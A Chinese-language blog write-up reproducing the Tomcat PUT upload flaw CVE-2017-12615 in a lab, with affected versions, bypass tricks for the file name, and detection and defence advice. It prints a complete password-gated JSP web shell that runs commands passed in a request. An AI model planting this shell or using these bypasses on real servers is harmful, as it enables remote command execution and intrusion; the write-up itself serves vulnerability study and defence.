CVE2017-12615漏洞復現( tomcat JSP Upload Bypass /Remote Code Execution)

雨中落葉發表於2019-05-17

CVE2017-12615漏洞復現( tomcat JSP Upload Bypass /Remote Code Execution)

一、漏洞原理

在windows伺服器下,將readonly引數設定為false時,即可通過PUT方式建立一個jsp檔案,並可以執行任意程式碼。Tomcat版本內web.xml配置內無readonly,需要手工新增,預設配置不受此影響。

二、影響版本

Apache Tomcat 7.0.0-7.0.79(Windows環境下)

三、漏洞利用條件

  1. 目標是windows環境
  2. 目標tomcat的版本7.0.0-7.0.79
  3. 管理員配置不當,設定了readonly,並且其值為false
  4. 上傳目標的地方具有寫入許可權

四、環境搭建

Java環境(jdk 1.7)

Tomcat環境(tomcat 7.0.70)

五、漏洞復現

1.測試tomcat環境

   

2.修改web.xml,tomcat版本內web.xml預設沒有readonly,首要手工新增,將readonly引數設定為false時,然後就能通過PUT方式建立一個jsp檔案,並可以執行任意程式碼。

  

3.搜尋漏洞庫,根據poc說明驗證漏洞的存在

  

4.啟動tomcat,burp抓包,利用PUT請求建立檔案,上傳內容後,發現上傳失敗,提示404

  

5.根據漏洞描述中windows環境受影響,可以嘗試利用windows的特性(檔名不能以空格結尾,NTFS檔案流)來繞過限制

5.1利用檔名不能為空格,在檔名後加空格上傳檔案,上傳失敗,提示403

  

5.2提示403,一般可能是因為上傳的目標資料夾沒有寫入許可權。檢視許可權發現目標沒有寫入許可權。

  

5.3給目標資料夾加入寫入許可權,然後測試

  

5.4瀏覽器訪問上傳的檔案

  

5.5嘗試NTFS檔案流,成功上傳

  

5.6瀏覽器測試

  

5.7構造特殊字尾名繞過tomcat檢測

  

6.通過以上poc可以證明目標存在檔案上傳漏洞,上傳jsp一句話木馬

<%

if("023".equals(request.getParameter("pwd"))){

java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();

int a = -1;

byte[] b = new byte[2048];

out.print("<pre>");

while((a=in.read(b))!=-1){

out.println(new String(b));

}

out.print("</pre>");

}

%>

  

7.瀏覽器訪問構造引數,下圖可以說明目標存在遠端程式碼執行漏洞

  

六、漏洞分析總結

  1. 通過以上分析可以得出,這個漏洞的利用的前提條件很多,需要目標是windows環境,需要管理員錯誤配置開啟readonly並且設定其值為false等等,漏洞危害性一般。

七、檢測與防禦

檢測:檢視是否開啟readonly以及是否啟用了PUT方法。

防禦:

  1. 禁用PUT方法
  2. 設定readonly值為True
  3. 升級到最新版本

相關文章